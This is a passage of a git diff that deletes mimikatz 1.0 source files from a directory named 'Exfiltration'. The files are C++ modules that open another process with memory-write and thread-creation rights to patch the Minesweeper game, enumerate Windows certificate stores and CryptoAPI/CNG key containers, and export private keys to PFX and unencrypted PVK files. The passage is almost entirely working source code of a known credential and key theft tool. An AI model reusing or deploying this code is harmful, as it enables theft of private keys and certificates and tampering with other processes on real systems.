0x05}; - - RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); - - wstring nomDemineur(L"winmine.exe"); - mod_process::KIWI_PROCESSENTRY32 monDemineur; - if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) - { - monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID; - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) - { - PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; - if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID)) - { - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine)) - if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000 - monHandleAndAddr->addrMonDemineur = reinterpret_cast(ptrTemp - sizeof(ULONG)); - - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine)) - monHandleAndAddr->addrPause = reinterpret_cast(ptrTemp - 11); - - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine)) - monHandleAndAddr->addrResume = reinterpret_cast(ptrTemp - 6); - - if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine)) - monHandleAndAddr->addrStart = reinterpret_cast(ptrTemp - 11); - } - } - } - - bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume; - - if(!reussite && monHandleAndAddr->hWinmine) - CloseHandle(monHandleAndAddr->hWinmine); - - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h deleted file mode 100644 index 3870228..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h +++ /dev/null @@ -1,45 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_windows.h" -#include - -class mod_mimikatz_winmine -{ -private: - typedef struct structMonDemineur{ - DWORD32 nbMines; - DWORD32 longueur; - DWORD32 hauteur; - DWORD32 alignOffset; - BYTE tabMines[26][32]; - } structMonDemineur; - - typedef struct structHandleAndAddr{ - HANDLE hWinmine; - DWORD pidWinmine; - structMonDemineur * addrMonDemineur; - PTHREAD_START_ROUTINE addrPause; - PTHREAD_START_ROUTINE addrResume; - PTHREAD_START_ROUTINE addrStart; - } structHandleAndAddr; - - static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); - static bool startThreadAt(unsigned long structOffset); - static bool infosOrCheat(vector * arguments, bool cheat = false); - -public: - static vector getMimiKatzCommands(); - - static bool infos(vector * arguments); - static bool start(vector * arguments); - static bool pause(vector * arguments); - static bool reprise(vector * arguments); - static bool cheat(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp deleted file mode 100644 index 8baffa6..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp +++ /dev/null @@ -1,240 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_crypto.h" - -bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore) -{ - map mesEmplacements; - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS)); - mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES)); - - map::iterator monIterateur = mesEmplacements.find(strSystemStore); - if(monIterateur != mesEmplacements.end()) - { - *systemStore = monIterateur->second; - return true; - } - else return false; -} - -BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg) -{ - reinterpret_cast *>(pvArg)->push_back(reinterpret_cast(pvSystemStore)); - return TRUE; -} - -bool mod_crypto::getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore) -{ - return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0); -} - -bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName) -{ - bool reussite = false; - wchar_t * monBuffer = NULL; - - DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE}; - - for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++) - { - DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0); - if(tailleRequise > 1) - { - monBuffer = new wchar_t[tailleRequise]; - reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1; - certName->assign(monBuffer); - delete[] monBuffer; - } - } - return reussite; -} - -bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo) -{ - bool reussite = false; - DWORD taille = 0; - if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille)) - { - BYTE * monBuffer = new BYTE[taille]; - if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0)) - { - CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast(monBuffer); - keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)"); - keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)"); - keyProvInfo->cProvParam = mesInfos->cProvParam; - keyProvInfo->dwFlags = mesInfos->dwFlags; - keyProvInfo->dwKeySpec = mesInfos->dwKeySpec; - keyProvInfo->dwProvType = mesInfos->dwProvType; - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password) -{ - bool retour = false; - - HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL); - PCCERT_CONTEXT pCertContextCopy = NULL; - - if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy)) - { - CRYPT_DATA_BLOB bDataBlob = {0, NULL}; - if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) - { - bDataBlob.pbData = new BYTE[bDataBlob.cbData]; - if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) - { - HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(hFile && hFile != INVALID_HANDLE_VALUE) - { - DWORD dwBytesWritten; - if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten)) - { - retour = FlushFileBuffers(hFile) != 0; - } - CloseHandle(hFile); - } - } - delete[] bDataBlob.pbData; - } - CertFreeCertificateContext(pCertContextCopy); - } - CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG); - - return retour; -} - -bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile) -{ - bool retour = false; - - HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(hFile && hFile != INVALID_HANDLE_VALUE) - { - DWORD dwBytesWritten; - if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten) - { - retour = FlushFileBuffers(hFile) != 0; - } - CloseHandle(hFile); - } - return retour; -} - -wstring mod_crypto::KeyTypeToString(DWORD keyType) -{ - wostringstream keyTypeStr; - switch (keyType) - { - case AT_KEYEXCHANGE: - keyTypeStr << L"AT_KEYEXCHANGE"; - break; - case AT_SIGNATURE: - keyTypeStr << L"AT_SIGNATURE"; - break; - default: - keyTypeStr << L"? (" << hex << keyType << L")"; - } - return keyTypeStr.str(); -} - - -bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec) -{ - bool retour = false; - FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport}; - - HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(hFile && hFile != INVALID_HANDLE_VALUE) - { - DWORD dwBytesWritten; - if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten)) - { - if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten)) - { - retour = FlushFileBuffers(hFile) != 0; - } - } - CloseHandle(hFile); - } - - return retour; -} - -bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize) -{ - bool retour = false; - HCRYPTPROV hCryptProv = NULL; - HCRYPTKEY hKey = NULL; - PBYTE buffer = data; - DWORD dwWorkingBufferLength = dataSize; - - if(destBuffer && destBufferSize >= dataSize) - { - RtlCopyMemory(destBuffer, data, dataSize); - buffer = destBuffer; - } - - if((algorithme == CALG_RC4) && (keySize > 16)) - { - fullRC4(buffer, dataSize, key, keySize); - retour = true; - } - else - { - if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; - BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; - RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); - RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); - - if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) - { - if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/ - retour = (dwWorkingBufferLength == dataSize); - CryptDestroyKey(hKey); - } - delete[] myKey; - CryptReleaseContext(hCryptProv, 0); - } - } - return retour; -} - -void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets) -{ - ULONG i, j, k = 0, kpos = 0; - BYTE S[256], *pos = data; - - for (i = 0; i < 256; i++) - S[i] = static_cast(i); - - for (i = 0, j = 0; i < 256; i++) - { - j = (j + S[i] + key[kpos]) & 0xff; - kpos++; - if (kpos >= keylen) - kpos = 0; - S_SWAP(i, j); - } - - for (i = 0, j = 0; k < data_len; k++) - { - i = (i + 1) & 0xff; - j = (j + S[i]) & 0xff; - S_SWAP(i, j); - *pos++ ^= S[(S[i] + S[j]) & 0xff]; - } -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h deleted file mode 100644 index 582ed36..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h +++ /dev/null @@ -1,60 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include -#include - -#define PVK_FILE_VERSION_0 0 -#define PVK_MAGIC 0xb0b5f11e // bob's file -#define PVK_NO_ENCRYPT 0 -#define PVK_RC4_PASSWORD_ENCRYPT 1 -#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2 - -class mod_crypto -{ -public: - typedef struct _KIWI_KEY_PROV_INFO { - std::wstring pwszContainerName; - std::wstring pwszProvName; - DWORD dwProvType; - DWORD dwFlags; - DWORD cProvParam; - DWORD dwKeySpec; - } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO; - -private: - typedef struct _GENERICKEY_BLOB { - BLOBHEADER BlobHeader; - DWORD dwKeyLen; - } GENERICKEY_BLOB, *PGENERICKEY_BLOB; - - typedef struct _FILE_HDR { - DWORD dwMagic; - DWORD dwVersion; - DWORD dwKeySpec; - DWORD dwEncryptType; - DWORD cbEncryptData; - DWORD cbPvk; - } FILE_HDR, *PFILE_HDR; - - static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); -public: - static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore); - - static bool getVectorSystemStores(vector * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER); - static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName); - static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo); - - static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE); - static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password); - static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile); - static wstring KeyTypeToString(DWORD keyType); - - static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0); - static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes) -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp deleted file mode 100644 index f886f09..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp +++ /dev/null @@ -1,138 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_cryptoapi.h" -HMODULE mod_cryptoapi::hRsaEng = NULL; - -bool mod_cryptoapi::loadRsaEnh() -{ - if(!hRsaEng) - hRsaEng = LoadLibrary(L"rsaenh"); - return (hRsaEng != NULL); -} - -bool mod_cryptoapi::unloadRsaEnh() -{ - if(hRsaEng) - FreeLibrary(hRsaEng); - return true; -} - -bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider) -{ - map mesProviders; - mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV)); - mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV)); - mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV)); - mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV)); - mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV)); - mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV)); - mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV)); - mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP)); - - map::iterator monIterateur = mesProviders.find(ProviderName); - *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName; - return true; -} - -bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType) -{ - map mesTypes; - mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL)); - mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG)); - mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS)); - mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA)); - mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE)); - mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL)); - mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL)); - mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH)); - mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG)); - mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG)); - mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL)); - mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL)); - mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL)); - mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS)); - mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG)); - mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC)); - mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF)); - mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES)); - - map::iterator monIterateur = mesTypes.find(ProviderTypeName); - if(monIterateur != mesTypes.end()) - { - *ProviderType = monIterateur->second; - return true; - } - else return false; -} - -bool mod_cryptoapi::getVectorProviders(vector * monVectorProviders) -{ - DWORD index = 0; - DWORD provType; - DWORD tailleRequise; - - while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) - { - wchar_t * monProvider = new wchar_t[tailleRequise]; - if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) - { - monVectorProviders->push_back(monProvider); - } - delete[] monProvider; - index++; - } - return (GetLastError() == ERROR_NO_MORE_ITEMS); -} - -bool mod_cryptoapi::getVectorContainers(vector * monVectorContainers, bool isMachine, wstring provider, DWORD providerType) -{ - bool reussite = false; - - HCRYPTPROV hCryptProv = NULL; - if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) - { - DWORD tailleRequise = 0; - char * containerName = NULL; - DWORD CRYPT_first_next = CRYPT_FIRST; - bool success = false; - - success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0); - while(success) - { - containerName = new char[tailleRequise]; - if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast(containerName), &tailleRequise, CRYPT_first_next) != 0)) - { - wstringstream resultat; - resultat << containerName; - monVectorContainers->push_back(resultat.str()); - } - delete[] containerName; - CRYPT_first_next = CRYPT_NEXT; - } - reussite = (GetLastError() == ERROR_NO_MORE_ITEMS); - CryptReleaseContext(hCryptProv, 0); - } - - return reussite; -} - -bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType) -{ - bool reussite = false; - - if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport)) - { - *monExport = new BYTE[*tailleExport]; - if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0))) - delete[] monExport; - - } - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h deleted file mode 100644 index 8c70b48..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h +++ /dev/null @@ -1,26 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include -#include - -class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */ -{ -private: - static HMODULE hRsaEng; -public: - static bool getProviderString(wstring ProviderName, wstring * Provider); - static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType); - - static bool getVectorProviders(vector * monVectorProviders); - static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL); - static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB); - - static bool loadRsaEnh(); - static bool unloadRsaEnh(); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp deleted file mode 100644 index 690f390..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp +++ /dev/null @@ -1,143 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_cryptong.h" - -HMODULE hNcrypt = LoadLibrary(L"ncrypt"); - -PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider")); -PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptEnumKeys")); -PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptOpenKey")); -PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptExportKey")); -PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptGetProperty")); - -PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeBuffer")); -PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast(GetProcAddress(hNcrypt, "NCryptFreeObject")); - -PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders")); -PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast(GetProcAddress(hNcrypt, "BCryptFreeBuffer")); - -bool mod_cryptong::isNcrypt = ( - hNcrypt && - K_NCryptOpenStorageProvider && - K_NCryptEnumKeys && - K_NCryptOpenKey && - K_NCryptExportKey && - K_NCryptGetProperty && - K_NCryptFreeBuffer && - K_NCryptFreeObject && - K_BCryptEnumRegisteredProviders && - K_BCryptFreeBuffer -); - -bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName) -{ - bool reussite = false; - NCRYPT_PROV_HANDLE hProvider; - - if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS) - reussite = (K_NCryptFreeObject(hProvider) == 0); - - return reussite; -} - - -bool mod_cryptong::getVectorProviders(vector * monVectorProviders) -{ - bool reussite = false; - - DWORD cbBuffer; - PCRYPT_PROVIDERS pBuffer = NULL; - - if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0)) - { - for(DWORD i = 0; i < pBuffer->cProviders; i++) - monVectorProviders->push_back(pBuffer->rgpszProviders[i]); - K_BCryptFreeBuffer(pBuffer); - } - - return reussite; -} - -bool mod_cryptong::getVectorContainers(vector * monVectorContainers, bool isMachine) -{ - bool reussite = false; - NCRYPT_PROV_HANDLE hProvider; - NCryptKeyName * pKeyName; - PVOID pEnumState = NULL; - - SECURITY_STATUS retour; - if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) - { - while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS) - { - monVectorContainers->push_back(pKeyName->pszName); - K_NCryptFreeBuffer(pKeyName); - } - reussite = (retour == NTE_NO_MORE_ITEMS); - - if(pEnumState) - K_NCryptFreeBuffer(pEnumState); - K_NCryptFreeObject(hProvider); - } - - return reussite; -} - -bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine) -{ - bool reussite = false; - NCRYPT_PROV_HANDLE hProvider; - - if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) - { - reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS; - K_NCryptFreeObject(hProvider); - } - - return reussite; -} - - - -bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize) -{ - DWORD tailleEcrite = 0; - return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)); -} - - -bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable) -{ - bool reussite = false; - DWORD tailleEcrite = 0, exportability = 0; - - if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD))) - { - *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0; - } - return reussite; -} - -bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType) -{ - SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0); - if(monRetour == ERROR_SUCCESS) - { - *monExport = new BYTE[*tailleExport]; - monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0); - - if(monRetour != ERROR_SUCCESS) - delete[] monExport; - } - SetLastError(monRetour); - return (monRetour == ERROR_SUCCESS); -} - - -bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject) -{ - return (K_NCryptFreeObject(hObject) == 0); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h deleted file mode 100644 index 3eec5b6..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h +++ /dev/null @@ -1,24 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - 